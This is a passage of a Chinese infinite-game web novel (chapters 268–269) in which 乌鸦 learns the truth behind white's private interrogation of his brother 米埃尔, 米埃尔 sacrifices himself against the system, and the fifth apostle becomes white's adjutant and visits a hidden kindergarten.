青年的出现像一块巨石,砸入本就暗流涌动的池塘里,瞬间激流震荡。 公会不确定最后要纳入多少正式使徒,但不管人数多少,都要分个高低。 所以有个位置——【第一使徒】。 它始终在那,始终恒定,代表绝对的地位和权力,毫无疑问大部分人都会为其眼热疯狂。 当时,神圣天使米埃尔和联合会鹰派候补人莉莉丝,是最有希望、也是最有争议的两个人选。 两边追随者经常因这事明争暗斗,不可开交。 剑拔弩张的时期,顶着被监察部关禁闭,也要撸袖子狠狠干架。 然而谁也没能料到,最终结果没能花落任何家,竟然被一个名不见经传的普通人摘了桃。 乌鸦对white的不满,对使徒公会的恼怒,始于谢语春当着所有成员的面,郑重宣布white是第一使徒的那天。 莉莉丝现场质疑white成为第一使徒的公正性,她的拥护者们更是高声抗议,吵闹不休。 而米埃尔,什么都没说。 他只是抬头看向white,久久的,一动不动。 那沉默无声的背影,让乌鸦的心脏狠狠揪紧。 往后,又发生了很多事。 尽管乌鸦不满white的出现,但也不得不承认,这家伙确实很有本事。 这句夸赞的话,他心里别扭,没能说出口,还是从亲哥米埃尔的口中听到的。 和神圣使徒米埃尔一样,white主修的精神系,准确来说是精神攻击和操控,米埃尔偏向于精神治愈和防御。 得益于契约神祇是操治愈术的神圣天使拉裴尔,当时white在精神抚慰及治疗这一方面,和米埃尔完全没得比。 可是米埃尔在渐渐被white追上。 自己最擅长的东西被不擅长的人追上了,米埃尔经常被莫大的压力,弄得喘不过气。 甚至有些追随者开始质疑他,在第一使徒的光环效应影响下,直接倒戈向white。 毕竟有了第一,谁还在乎第二? 连曾经将他视作劲敌的莉莉丝,都不再把他当成对手,这一现实对米埃尔来说,可谓是极其惨重的打击。 乌鸦心疼亲哥,为他抱不平,咒骂倒戈者都是见风使舵的小人。 米埃尔却在沉默良久后,收回看向white的视线,突然开口。 “我听能力测评的工作人员说,white的抚慰力,与其说是后天刻苦养成的技能,不如说他与生俱来就拥有爱人的能力。” “他以前似乎并不喜欢精神抚慰,但遇难者出现的瞬间,救人便成为他的本能。而我都得多想一想那些人值不值得救,能不能救。” 第二使徒仿佛认命般摇头一笑,晃了晃水杯:“他确实比我更合适,不管哪方面。” 乌鸦只觉得心脏难受得生疼,当场大声否决:white是不太差,但哥肯定更好!最好! 却见第二使徒眉头一挑,忽然放下水杯,好以整暇地问道:“老弟,你对他评价这么高,是不是喜欢他?” 啪哒。 乌鸦手一抖,杯子摔在桌上,水流一地,他连忙拣起来:“谁喜欢他了?” “我可是你哥。” 第二使徒勾住乌鸦的肩膀,笑容狡黠:“让我想想,是你找事堵人反被white教训的那次,还是white冒着生命危险带人救援你们的那次,亦或是white绝地反击攻破敌营的那次?那一幕确实很帅。” 乌鸦被米埃尔的笑眼盯得很不自在,提高音量,竭力否认。 又忍不住偷偷用余光观察。 那人只是站在那,就好像一柄藏锋于鞘的利剑,投过来的视线淡然平静,却又能在不经意间掀起雷霆暴雨。 然而比起这凌厉的外表,乌鸦脑子里更多的是他温柔的样子,唇角轻启,弯眸一笑,便暖了整个寒冬。 不远处的white似乎听见自己的名字,狐疑地看过来。 刹那间,乌鸦像被青年的目光烫到,耳根唰一下烧红,扯开米埃尔掰扯他的手,佯装若无其事地撇开视线。 ……抿心自问,如果埋在他心底的疙瘩,早在那段艰难却也温馨的日子里消融殆尽,那究竟是什么原因让他和系统扯上了关系? 是因为人们时时都拿同为精神系的white和米埃尔做对比,夸赞前者的同时还要踩后者一脚? 是因为米埃尔的地位大不如前,存在感越来越低? 不不不,老哥天性善良,从来都不在意这些名声权力,他不能把自己的不忿不甘强加在老哥的身上。 ……但问题是,老哥真的不在意吗? 矛盾在,问题在,哪怕一时回避,终有一天也会爆发。 那天来得比乌鸦想象中还快。 一次副本试炼,BOSS方挟持十万NPC为人质,逼迫玩家现身。 white主张立刻撤军,直捣黄龙拿下奖励。 米埃尔却一反常态,激烈要求总部去救那些NPC。 遭到痛斥后,他公然违抗指挥部的命令,率领几百玩家前往救援。 战略规划是使徒的必修课,米埃尔成绩优异。 但他们总共只有几百人的兵力,就想对付当时远超他们战力的几万头精英怪,不亚于以卵击石。 哪怕有第二使徒以一敌百,结果仍旧惨烈。参与救援的玩家一方损失足足近八成,只救回来两万多名NPC。 而那剩下的两成玩家,还是white千钧一发之际,带领亲信及时增援,才不至于全军覆没。 因为这事,米埃尔同时遭到监察部、联合会上层和外界的诘问,直播间满是尖锐刻薄的辱骂抨击。 米埃尔就此一蹶不振,在军队监管下闭门不出,拒绝访谈。 最后还是white出面回应外界,米埃尔并非决策失误,他救下的两万多名NPC让本次试炼评分超乎意料地升上A级,于玩家一方大有裨益。 不管其他人信不信,总归是为米埃尔缓解了许多压力,但内部依旧要对米埃尔做出处决。 乌鸦不明白。 听到消息的第一时间,他甚至怀疑情报有误。 他哥善良,但绝不会盲目地乱发善心,怎么可能会为了NPC的性命,牺牲自己的队友? 这事肯定有内情,连现场活下来的人都说,米埃尔当时的精神状态很糟糕,好像天塌下来一样。 但具体是什么原因,米埃尔死也不肯告诉任何人。 他本身就是精神系数一数二的佼佼者,如果有意封闭自己的记忆和秘密,除了white,没人能逼迫他就范。 这事耐人寻味的点就在于,white居然拒绝了监察部的公开审讯,申请和米埃尔单独会面。 那段时间,乌鸦听到不少流言蜚语。 说是米埃尔行动前曾私下会见white,取得同意后才带兵救援。 又说white早就料到米埃尔会贸然出击,明明能够阻止却故意放纵,就是为了让米埃尔犯错,好铲除最大的威胁。 众说纷纭,什么都有。 乌鸦知道谣言的可恶可恨,尽量不让自己去看那些负面消息,不以恶意揣测white。 可是他对私审充满不信任,甚至是憎恶。 而对米埃尔的关心,还有始终无法确定亲哥安危的焦虑,让他完全安不下心。 决定潜入监察部的那天,仿佛神助一般。 堕化的力量第一次加持在他的身上,阴影在脚下流淌,黑暗为他掩盖踪迹,他的竟然顺利地绕过重重安检,用黑市买来的窃听道具,偷听到white和米埃尔的部分谈话内容。 米埃尔的声音满是崩溃:“所以你早就知道真相?” white声音半秒后才响起,伴随着嘈杂的电流声,平静如常:“……知道……但是那又怎么样?” 米埃尔:“我不明白,为什么你可以无动于衷,那可是……!” “如果谁都像你这样瞻前顾后,只会害死更多人。” 米埃尔像被踩中尾巴的猫,怒声:“难道为了胜利就可以不择手段吗?!” 接下来就是一大串紊乱的杂音,信号突然异常! 乌鸦的心脏提到嗓子眼,疯狂拍击窃听道具。 终于在一阵滋啦电流声后,信号恢复正常,他听到white冷淡的嗓音响起:“放弃吧米埃尔,我知道你有抱负,但事实证明了,你不是做领袖的料。” “……你的失误难以弥补,不可能再安然无恙地留在公会。给自己下达精神暗示,完完全全听命于我,这是你现如今唯一的出路。” 那是乌鸦在那次私审中,听到的最后一段话。 —— 记忆被窥探令乌鸦勃然大怒。 他的眼皮子快速一眨,瞳孔再度蕴起猩红血光,眼看着就要从精神链接中挣脱—— 噗呲。 剑刃扎透血肉。 和审判剑贯穿严岳心口时一样的轻响。 乌鸦余光瞄见胸口的剑尖,呛咳两声,嘴角溢出鲜血,说不出是剧痛限制了行动,还是震惊到忘记动作。 他意识到这柄剑不是凡物,竟然能破开他的防御。 但他的契约神祇可是加百列,主司审判和战斗,对危机的捕捉,敏锐得如同野兽一般。 怎么可能有人能够悄无声息地靠近他,还不会被他发觉?! 袭击者像是知晓他的震撼,低声道:“都说过了,我下手很快的。” 乌鸦猛然回头,不敢置信地看向那人。 不止是他,除white以外,其他人都很惊异。 那出手之人,竟是现任第一使徒,弥赛亚。 如果乌鸦仔细一点,他会发现弥赛亚的气质变了,和他一样打破伪装的壳子,流露出真实的内里。 弥赛亚眉宇下压,透着说不出的哀伤,持剑的手却很稳。 一用力,呲,又往前近一寸。 乌鸦痛得冷汗直冒。 新仇旧恨加在一起,他连面前的white都不顾了,怒吼着抽出审判剑,调转剑锋砍向弥赛亚! 却见弥赛亚背后金光大绽,六对绚烂圣洁的翅膀忽而展开,宛若天使降临。 逆光中,乌鸦脸色骤然一变,心神俱震。 他的攻击被爆发的神辉招架住,拿不稳的剑,也从手中振飞出去,哐啷落地。 看着这六对熟悉的翅膀,感受这无比亲切的神力。 金色羽毛纷纷扬扬,倒映在乌鸦剧烈颤抖的瞳孔中,如巨石沉入心底。 “……哥?” 弥赛亚居然是他哥? 开什么玩笑! 是伪装吗?为了隐藏自己? 可是那股非人的疯感绝不是一般人能伪装出来的!弥赛亚在副本中大开杀戒,而他哥生性善良,连花都不忍心摧残。 弥赛亚,不,他哥到底经历了什么?? 转瞬间,乌鸦想起white强迫弥赛亚下达精神暗示。 震惊质疑愤怒……诸多情绪涌上心头,宛若涌动的火山般将要喷发。 他气得浑身发抖,目眦欲裂看向white,怒吼的嘴里呛出血沫:“是你,又是你!我哥变成这样,都是因为你!” 不等white动手,弥赛亚一脚将这倒霉孩子踹飞出去。 那把剑甚至还插在乌鸦的胸口,压制他的神力。 乌鸦晕头转向地撑起身,没顾得上说话,就被弥赛亚揪起衣领,额头相抵,输送过去一段真实的记忆。 ——关于那场单人审问的完整对话。 第268章 成神进度:99% 乌鸦错愕抬头。 其实单凭他哥这个反应,乌鸦就能猜到这其中必定有什么隐情。 可是他想不通,究竟是什么样的隐情,能让white居高临下地批判他哥没有当领袖的资格。 又是什么样的苦衷,能叫white堂而皇之地勒令他哥给自己下达精神暗示,逼迫他哥臣服。 直至记忆片段如影像在脑海中乍现,他没能听到的质问,从米埃尔破音的嗓子里吼出。 米埃尔颤抖的声音一字一顿:“你早就知道我们长久以来所杀害的、对抗的,是那些失踪的人?!” 乌鸦的视角随着米埃尔转变。 他看见white立在那,背光的阴影打斜落在线条流畅的侧颊,脸皮微微绷紧,仿佛蒙上一层化不开的阴翳。 青年闭目又睁开,那双眼睛只有惯来的冷静沉着,等米埃尔平复一些后才开口:“不算早。” “系统喜欢用绝对的力量打压我们的气焰,碾碎我们的信心和尊严,所以怪物清一色拉满数值。” “但在我们接连攻破几个初期副本后,系统改变了策略。 它开始频繁安排类人生物干预闯关进程,也没有再给它们设定荒谬离谱的数值,外表形象从恐怖强壮到柔弱可怜,用来激起他人的同情心。有的NPC甚至能做到和人类相差无几,拥有人类的喜怒哀乐。” white:“这些NPC的数据来源于是什么?是系统一直在观察学习玩家,是那些消失的人被改造成了攻击我们的利器?还是说有背叛者给它暗中献策?” 他顿了一下,沉声道:“米埃尔,我们没有放弃他们,哪怕是现在。在得出这些推测后,由谢执行官直接下令,特战一师二师携手实施救援,尝试唤醒那些人的意志,让他们摆脱系统的控制,但情况……不容乐观。” 不容乐观还是温和的说法,实际情况比米埃尔这次遭遇的打击更加惨烈。 “不管怎么样,从只知道蛮力取胜到开始使用策略,系统在改变,变得越来越危险。 它没有道德人性,无所不用其极,我们必定要考虑到最坏的情况——如果有一天系统失踪者当成人质,我们应该怎么去应对。” 米埃尔听着,逐渐愣了神,低头看着自己的双手,眼前闪过一幕幕扼杀敌人的画面。 英勇无畏的杀伐不再是勋章,而是挥向无辜者的刀。他的手颤抖着,仿佛被鲜血染红,听着white平静的叙述解释,胸口钻心般的疼痛:“我不明白,为什么你可以无动于衷,那可是我们的……!” white和他对视在一起,半晌开口:“就是因为系统故意让你看见NPC的真容,你才会动摇,才会不顾一切冲过去救援,乃至于踩中系统早已布下的圈套。” “但是米埃尔,你不是普通玩家,更不是一个人,是特战三师的战区司令。你的每一项决策安排甚至是一个细微的念头,都关乎着属下所有人乃至于整个玩家群体的生死,你应该记住自己不能退也不能仁慈,尤其忌讳感情用事。” “如果每个决策者都像你这样瞻前顾后,那只会害得更多人丧命。” 米埃尔痛苦喘息:“难道为了胜利就可以不择手段了吗?!” 岂料white骤然提高声线,怒声反问:“这局面难道是你造成的吗?” “是你设计这种惨无人道违背天理的无限游戏,是你在游戏中让人们生不如死家破人亡,是你让那几十亿人消失,又将他们改造成NPC让大家手足相残——是这样的吗米埃尔?!” 米埃尔一下子被震住了,一时语塞,话语发抖:“不……” “既然不是你,那又是谁造成的?是我吗,是使徒公会吗,是日以夜继呕心沥血想要拯救家园的救世者,是那些临死之际拼着最后一口气也要完成任务的战士,还是那数亿名至今仍旧心怀一丝希望在地狱里苦苦挣扎的人?” “谁都不是!” white厉斥如雷,震耳欲聋:“米埃尔,这局面不是我们任何人造成的,是系统和无限游戏!搞清楚迫害你的敌人是谁,而不是把加害者的野望投射在反抗者的决意上,将其称为不择手段!” 米埃尔瞳孔震颤,半晌,颤颤巍巍地捂住了自己的脸,闷声从指缝里挤出,宛若哽咽般。 “对不起……” “可是以后该怎么办,其他人都不知道他们面对的是什么,他们接受不了的,没人可以……” 是啊,没人可以。 系统明知道这事会给他们造成难以承受的打击,为什么一直没用过? 还是说…… 米埃尔猛然想到什么,抬起头不敢置信地看着white:“就在几个月前,联合会以‘禁止玩家私底下寻仇,恶劣轮白其他玩家’的名义,派军队驻扎在各个洲区的重生点。” “随后又设置了一个莫名其妙的意志检测项目,说是害怕系统蛊惑玩家,硬性要求所有人参与,其实是为了……” white:“为了下达精神暗示。一旦普通玩家发觉真相,就会自动过滤掉那些内容,维持精神的稳定。” 会这样做,包括后来前线玩家不约而同隐瞒首通十次记录的真相,都是因为消息泄露后曾引起大范围的玩家群众恐慌,乃至于滋生出各种恶劣事件,秩序混乱。 至于精神暗示为什么会对米埃尔突然失效,其一是因为米埃尔主修精神力,本就具有一定抗性。 其二是系统故意漏出真相,动摇米埃尔的信念。 米埃尔天性慈悲,承袭拉裴尔的意志后愈发见不得苦难。 他又是第三师的司令员,一旦信仰坍塌意志沦陷,必定会对玩家一方造成无法估量的打击。 所以系统的针对几乎是不留余力的,事情发生时,连white都来不及阻止。 当猜测落实,米埃尔一时间只觉得毛骨悚然,荒谬至极。 可在被隐瞒真相的愤怒与心寒中,又有一股莫大的悲哀自心头弥漫,令他眼角湿润:“联合会,那些该死的家伙,特意将这事交给你来办,强调宣称以你的名义……他们知不知道,一旦真相揭露,你会被所有愤怒的玩家讨伐,他们会将你撕碎。” white没有说话。 但有时候,不回答,就是一种回答。 米埃尔又问:“white……为什么你可以把精神暗示说得如此自然而然,顺理成章?” 那不是诘问。 因为神圣天使赐予的被动技能,米埃尔可以与他人的苦难共感。 以往拥有这个技能,让他在和其他人的交涉攀谈中无往不利,如今也一样。 哪怕被压抑得极其细微,他仍旧能捕捉到white的情绪。 那情绪是愤怒的、不甘的、沉痛的,交杂在一起,仿佛海面酝酿着不平静的波涛,随时准备掀起一场狂风暴雨。 但不管white心里是什么样的想法,他所展露出来的只有平静,像无数次训练出来的习惯性神经反射。 米埃尔眼睛通红,直视white,不肯漏过任何细节。 可无论如何盯看,都无法找出一丝的动摇迟疑。 这一真相令他悲恸至极,终于忍不住落下泪来:“迄今为止,你究竟给自己下达过多少次精神暗示?” white还是没有说话,米埃尔却像是要撑不住了,腰背都佝偻下去。 系统戳中了仁善者的软肋。 米埃尔太容易共情,也太容易哀伤,遇上一次极端的恶劣事件,就会深陷在其他人的悲惨中无法自拔。 white看着痛苦的年轻人,冷不丁说道:“米埃尔,我知道你的抱负,是想让所有人流离失所者有家可归,让所有饥寒病痛者吃饱穿暖,痊愈康健。” 米埃尔本以为white会质疑他异想天开,让他认清现实的残酷,却听对方说:“未必没有实现的可能。” “但那需要大环境稳定,不说世界和平,至少不是现在这样,连三岁孩子都需要为自己的未来担惊受怕。” white看着米埃尔,声线状似冷淡,抬起的眼睛却于昏暗阴影中亮得可怕,宛若天光刺破黑暗:“如果你在担心自己心有破绽,无法再胜任三师领袖的职责,那我会告诉你:放弃吧米埃尔,事实证明了,你不是做战时领袖的料。” “但在和平年代,你必定能够引领一些人,让我们的世界从苦难走向辉煌。” “所以从今以后,各司其职,谁都不要僭越。必要的事情由必要的人来做,不是权责范围内的事情,记住,它们跟你没有关系。” 这明显是在告诉他如何维系精神稳定。 米埃尔嘴唇轻颤,想要说什么,被white一句不容置疑的话堵住:“这是命令。” “犯下这种重大的决策失误,你的过错难以弥补,不可能再安然无恙地留在公会。给你的处罚是降职察看,由我执行或者在我的监督下,你给自己下达精神暗示,以防再出现类似的情况发生。” “然后完完全全听命于我,直至我们找到唯一的出路。” —— 将两人私审时的对话断章取义,调整语序,模拟声调口气捏出莫须有的话语,从而让人错怪曲解,这就是系统惯用的伎俩。 乌鸦从记忆片段里知道真相后,胸口撕裂般疼痛。 他止不住地颤抖起来,不敢想,当自己用怨恨的语气质问white时,后者该有多么心痛。 不,他不会心痛的。 乌鸦恍然意识到,在数不清的精神暗示叠加下,对white来说,“心痛”这一感觉恐怕都成了奢望。 “whi……啊!” 他想要解释点什么,挽留点什么,可是话没说完,乌鸦浑身一震。 熊熊火焰从插在乌鸦胸口的剑刃上腾升,一路势若破竹,直达他卸下戒备的意识海深处,搜索系统留下的暗线,乌鸦终于忍不住惨叫出声。 原来米埃尔给他看那段记忆,竟然是化解他内心防线的手段! 目的是什么?对了!第二条攻击路径! 他们需要一个【叛徒】,建立攻击系统内部程序的桥梁! 难道说,这一切都是老哥和white事先商量好的吗?他们早就知道他会背叛? 乌鸦肝胆俱裂,痛苦地看向white,悔恨、难过……他伸出手,但那未尽的话语终究没能出口,被火焰尽数淹没。 米埃尔压制着乌鸦剧烈挣扎的身体,将亲弟的痛苦映入眼底,唇皮不稳地颤抖起来,忽而垂下眼睫,像做出某个决定,看向white:“抱歉,white,我到底还是不如你。” 说话的同时,那金色的火焰像是破闸的洪水,顺着乌鸦的身体,烧到了米埃尔的身上。 “米埃尔!”white脸色微变,奋力地冲上去。 然而火焰却突然暴涨,爆发出强烈的神辉,直接焚毁掉年轻人的身体,根本不给任何挽留的机会。 米埃尔由此脱离名为“弥赛亚”的躯壳,洁净的魂体飘在空中,继续压制着乌鸦的灵魂,建立桥梁。 而在火焰的余烬里,剩下一串猩红扭曲的数据体,被米埃尔的神力层层捆绑。 米埃尔抬手一挥,将被束缚的数据体抛给white。 这一世重生后,米埃尔无意发现“弥赛亚”的存在,准确来说,发现了这具系统用数据拟造的躯壳,里面竟然能检测到white的精神力。 所以乌鸦他们猜对了,弥赛亚确实是基于某种阴谋而诞生的产物。 系统在针对谢叙白上不留余力,又深谙人心险恶,拿到谢叙白的数据后,怎么可能不搞出点“真假white”的戏码恶心人。 如果不是米埃尔中途强行占据了这副躯壳,那么可想而知,重活一世的谢叙白,在对上一个和自己相差无几的假人时,会陷入怎样的纠葛算计。 只是在分析这具数据体的过程中,米埃尔难免受到影响,也就有了外人面前割裂残忍的形象。 但米埃尔觉得这是好事,至少现在算好事,代表着他也能建立和系统的内部链路,发挥自己的一份力,为乌鸦赎罪。 “我知道他背叛的行为罪无可赦,但他是我弟,我不可能眼睁睁看着他魂飞魄散。” “为了出其不意,系统将他隐藏至深,他之前没机会作恶,就连这一次……” 灵魂态的米埃尔看向“严岳”死去的方向。 如果搬开那些碎石,会发现下面根本没有所谓的尸体,只有一个特级替身人偶道具的碎片。 系统利用知情者回护心理的法子用对了,但它不知道white早有预料,在时空裂隙的会议里,所有人都被下达精神暗示:除非某个特定事件发生,否则谁都不会知道严岳在哪儿,包括严岳自己。 不得不说,white真的将精神暗示运用得炉火纯青。 米埃尔笑叹着:“——也失败了。用你们的那句俗话讲,真的是成事不足,败事有余。” “我会监督他,同样也会监督他一起竭尽全力,搭建出进攻路线,这一次去恐怕九死一生……所以,等事情结束后,就让我带他走吧。” white皱眉看着米埃尔,还没来得及开口,就见天空的某一处突然传开剧烈神力波动,仿佛觉察到时机成熟,呼唤着在场众人。 熟悉这股神力的人,很容易就能分辨出它的主人,然而就是分辨出来了,才叫他们惊异万分。 “这股力量是……第五使徒?怎么会是他?” 第269章 成神进度:99% …… 当年那场秘密会谈,听到white道出“真正挣扎的人,只是活着就耗费掉全部心力”的话时,第五使徒心神一震。 white并非在嘲讽他,只是基于他的问题给出事实作为回答,未加任何修饰。 那股见惯风霜坎坷的厚重,沉淀在青年平淡的眼神和不疾不徐的言语中,对第五使徒而言,有股当头棒喝的眩晕感。 而后white没有再说什么,起身离开会议室。 一连好几天没有得到其他人传唤,室内一片空寂,犹如被遗忘的孤岛,只能听到自己的呼吸声在胸腔回荡。 第五使徒几乎有种自己被放弃搁置的感觉,直至多日后监管过来放人,接他去测评中心进行新一轮的能力检测和危险性判定,他才知道是white连续几天都和联合会周旋争论,才为他争来一次留察待命的机会。 第五使徒的视线扫向荷枪实弹的武装押送队伍。 短暂接手过家族内务的他,心知自己引发的事端有多么恶劣严重,也知道white为了平息他的过错,要付出的代价,肯定不止是“小小的争论”而已。 他在武装人员的押送下走过针落可闻的银白长廊,在其他成员的沉默观望里踏过人头攒动的中央大厅。 人很多,但安静。 明明有传送阵可以瞬间抵达目的地,却选择让他游行,这种举动像一场无声的拷打,更像联合会对桀骜不驯者给出的示威。 第五使徒继续沉默地走着,突然间,万籁俱寂的错觉中,他听见有人从人群中踱步而出,字正腔圆地喊出他的名字。 “奥古托夫。” 他猛然抬头,看见white带着他那身极有辨识性的气质出现在人群中,鹤立鸡群般鲜明。 white走了过来,自然而然地与他同步随行。押送的警员只是扫来一眼,便默契地移开视线,没有制止。 没有开口,没有所谓的叙旧来缓解紧张的气氛,双方都默契地保持沉默,唯有鞋跟踱步的声响,不紧不慢。 人造太阳的余晖洒落而下,给宽敞的柏油路面蒙上一层光晕。那些窥探审视的目光慢慢消失了,沉重压抑的气氛荡然无存,轻风拂过树叶,沙沙作响。 第五使徒佯装不经意地拿余光扫向身边的青年。 日光倾泻在青年浓密柔顺的发丝上,落在沉静的眼底,那道目光始终向前,不偏不倚,无法从中判断出青年在面对各方刁难时是怎样的姿态,或许一直都是这样气定神闲。 一路上第五使徒的内心并不像表面那么风平浪静。 尽管他早就已经将自己的生死置之度外,却不得不承认,在人群中看见white出现的一刻起,心里实际上有些后悔的。 ——后悔当初的瞒报,给某个不愿放弃他的人带来这一系列的麻烦。 很快抵达能力测评中心,测试人员及几名看守过来交接,white在大厅止步。 青年时刻都在忙,以至于将他送到地方,就需要马不停蹄前往下一个任务地点。 那些事涉及更高机密,第五使徒无权多问,也没理由挽留。 他认为自己应该自觉一点,矜持一点,拿出家族继承人的气度和得体,别像个老泼皮一样死缠不放,便佯作随意地颔首躬身:“多谢。” “奥古托夫。” 也是此刻,第五使徒再度听见white的嗓音在背后响起,像石子扑通砸进盛夏波光粼粼的湖面。 他骤然回头。 青年笔直的身躯立于镁光灯下,当着测评人员的面,向他开口。 “我需要一个副官,结束之后记得来我这里报道。” 第五使徒知道,青年在大庭广众说出这话,是在向暗地里盯着他不放的某些人释放信号。 他的性命、出路和检测结果的公正性,都在青年不容置疑的声线中得到了担保。 心脏怦然跳跃,几乎要撞碎胸腔。第五使徒无法形容这股强烈到让浑身血液沸腾的情绪是什么,那无关情爱,掺杂着信服,是一种呼之欲出的冲动。 在最新的测评报告里,钟意第五使徒并施下赐福的神祇,是古神泰坦一族。 第五使徒结合以前的经历,幻视自己会继承祂们残暴的性情,给大地带来灾祸,内心抗拒接受这股赐福的力量,所以没有被检测出来。 特意等到热血冷却下来,第五使徒才去找的white。他很感谢对方伸出的援手,但自知跨不过内心的坎,只能当个冲锋陷阵的小兵,没资格胜任总指挥的副官。 white看他一眼,仿佛早有预料般拿出颗圆滚滚的东西,合金炼制,通体银白,在青年将它放在桌子的瞬间,警笛般响个不停。 青年让奥古托夫退到门口,后者不明所以但照做,随后在愈发高亢的警铃声里,听对方的介绍。 “这是研究院最新研发的微型炸弹,经过精确调整后,会展开空间屏障,将爆炸范围控制在一米内,但威力足以令S级怪物灰飞烟灭,用以逼仄环境下摧毁污染物。” 奥古托夫:“……为什么它在响?” white朝书桌上的圆球瞥过去,似乎在数显示屏的倒计时:“因为它要爆炸了,还有五秒、四秒、三秒……” 奥古托夫以为white在开玩笑,然而倒计时指向最后一秒的刹那间,他在圆球身上感知到几何倍上升的能量波动。 寒毛直竖,大脑空白,他疯了般冲过去,将圆球骤然捞走。 嘭。 圆球在他的头顶爆炸了,彩色飘带洒了奥古托夫一身。 难以言喻的死寂中,奥古托夫僵硬地放下手,看向圆球爆炸后遗留下来的东西,一张任命书。 white眨了眨眼,迎着奥古托夫不敢置信的视线,表情无辜至极:“恭喜通过测试。你的指纹已经通过采集器上传,正式的聘用文书将在五天后由联合会盖章发放到你的邮箱,这是我额外拟造的,仅有一份,尽量别撕。” “你这家伙……!”饶是好脾气如奥古托夫,也被青年气得面红耳赤。 他头一次认识到,除却靠谱的长官、柔软的小动物,青年私底下还有恶魔无良腹黑的一面,可是再想后悔已经来不及了。 不久之后,第五使徒正式成为white的副官,并被他带在身边。 这一身份让奥古托夫,比以往要频繁十多倍地接触到前线战场。 战线吃紧、粮草告罄、伤亡惨重乃至于血流成河,残肢堆砌一地,仿佛每一分每一秒都行走在钢丝线上。 家族继承人的经验履历,让他在处理这些危情时可以得心应手、沉着冷静。 但系统派出的怪物,那神明级的力量倾轧,足以叫任何人绝望。 第五使徒由此看见了数不清的杀伐和惨叫,仇怨滋生,悲剧重演,血腥味浸透皮肤和衣服,挥之不去,触目所及皆是炼狱。 上一秒还腼腆笑着憧憬未来的战友,下一秒就可能被怪物一口咬掉脑袋,嘎吱嘎吱吞吃入腹。 他们根本没有伤感的时间,一秒也没有,呼吸的间隙,就要投入到接踵而至的任务和怪物的追杀里。 一次艰难到空前绝后的试炼战役,第五使徒所在的队伍成员十不存一。 第五使徒带人营救伤兵,可是那最后几名战士为了不拖后腿,果断给自己打入强效针剂,背起炸药包冲进怪物潮同归于尽。 一张张脸血染眉梢,目眦欲裂发出嘶吼,犹如惊天霹雳在第五使徒的脑海中轰然爆鸣,巨大的力量波动犹如风暴涤荡而出,冲垮涌上来的怪物潮。 ——他接受了,为想要解救战友的心念,接受了泰坦族的神力赐福。 这场战役结束后,奥古托夫时隔三天才再次见到white。 青年脸色苍白,萎靡恹恹,清瘦得不是一星半点,风中残烛般虚弱。 但和这场战役进行到最后,他筋骨尽断,血肉模糊,一登出副本就被医疗组火速抬走的惨状比起来,已经算是很不错了。 奥古托夫的胳膊上也缠着绷带,腿也有点瘸,因为污染毒素尚未完全清除。 white下意识要为他治疗,奥古托夫看着他走路都带喘,连忙拒绝,甚至想要给他取一副轮椅来。 white也没强求,使用道具伪装身形。然后两人结伴,难兄难弟似的搀扶着,去服装店换身日常点的装束。 奥古托夫不理解为什么要这么做,直到white带他穿过大街小巷,通过好几个传送阵。 每一次传送,奥古托夫都能感觉到施加在自己身上的认知干扰,那力量层层堆砌,竟然将系统的感应力削减到无! 他惊异无比,一抬头却更为震撼。 只见他们来到一处完全封闭的空间,人造太阳的光辉洒下,天空湛蓝白云飘过,不远处孩童咿呀朗读课文的声音从建筑物中传来,夹杂着操场上的欢声笑语。 这里面竟然开办着一所幼儿园! 奥古托夫抬头,直勾勾地看过去,在烫金字体镌刻的《希望幼儿园》牌匾右下方,看到由“XXX福利机构赞助建造”的一排小字,霎时间,不真切的感觉更加鲜明。 “还记得吗?”white的眉眼瞬间柔和下来,在旁边笑道,“你当初加入使徒公会的契机。” 是的,这么久了,奥古托夫都快忘记,当初他并没有成为使徒的想法,踏入的是一家福利机构,想要捐出自己的所有积分,并在日后给孩子们提供稳定的赞助。 没有加入任何公会,却仍能够单枪匹马赚取到巨额积分,奥古托夫引起了机构负责人,也就是使徒引路人的注意。 A级道具无法鉴定出奥古托夫的等级,他心知此人的能力不一般,在了解完对方的意愿后,忽然提出一个奥古托夫无法拒绝的条件。 那就是成为正式使徒后,他所挣得的所有贡献值,都会被转换对应积分,支持科研部成立保护伞项目,为六岁及以下的孩子建造出躲开系统魔爪的庇护所。 老年人还可以通过强化体质拥有作战能力,思维尚未发育完全的孩子们,是真的没办法了。 “在第三使徒契约宇宙空间异兽后,我们终于有机会解析无限游戏的空间法则,开辟出这一空间。更多的技术将会运用在破解游戏的空间架构……” white看着望眼欲穿的奥古托夫,止住话题,笑着提议道:“要进去看看吗?” 可以吗? 一句惴惴不安的询问尚未从奥古托夫嘴里吐出,忽然一道年幼的嗓音像甩着火箭的尾焰急吼吼地冲过来,啪的一声,粗壮的黑影撞入white的怀抱。 【白白!白白!你终于来了,你有没有事情,我好想你!QAQ】 那居然是一根和人等高的漆黑触手! 触手释放的神级威压令奥古托夫毛骨悚然,但在他下意识要出手之前,便见white软化嗓音,双臂抱住小触手埋下脸颊蹭来蹭去:“小一乖,我也很想你,对不起来晚了。我没事,让你担心了。来,碰碰头。” 【白白!我跟你说哦,我有好好保护这里呢!系统根本没有发现我们!】 “是嘛,小一超级棒!是最厉害的小朋友了!” 如果说在使徒成员面前的white是一座屹立不倒沉稳如旧的山川,那么此刻,他就是一团被太阳晒过后蓬松柔软的棉絮,仍由小触手将他缠绕,紧皱的眉宇舒展开,笑得双眼弯出灿烂的月牙。 这极致的反差感令奥古托夫比刚才还要惊悚,浑身鸡皮疙瘩暴起。 而此时white已经被小触手勾起身体迫不及待地抱走,奥古托夫阻止不及,连忙跟上去。 随着步入校园,越来越多的孩子注意到他们。能出现在这里的孩子,或多或少都是大灾难后的遗孤,无人庇护。 他们有着野兽幼崽的警惕心,观望好一阵后,确定奥古托夫是white带来的“好人”,方才一个个稀罕地凑上来。 毕竟开辟这个异空间的技术属于最高机密,能来的人很少,每一个生面孔都能激起孩子们无限的好奇心。 奥古托夫被孩子们组建出来的人墙重重包围了。 虽说这人墙最高只到他的腰,但仍旧令他举步维艰。 这些孩子可不是带着记忆重生的使徒成员,是真正的小孩。奥古托夫喜欢孩子,却又因为当年的事,带着隐约的畏惧,生怕自己坚硬如铁的身体将这些柔软的小家伙们撞碎。 但孩子们全然没有这样的顾虑,他们的胆量来自于对机构和white的信任,如果奥古托夫在他们的眼前变成钢铁,他们会将这钢铁当猫爬架一样翻上去。 “亲爱的先生,您看起来好强壮,好高大呀。” “到底怎么样才能长得像您一般高大呀,您一定很厉害吧,能赶跑不少怪物。” 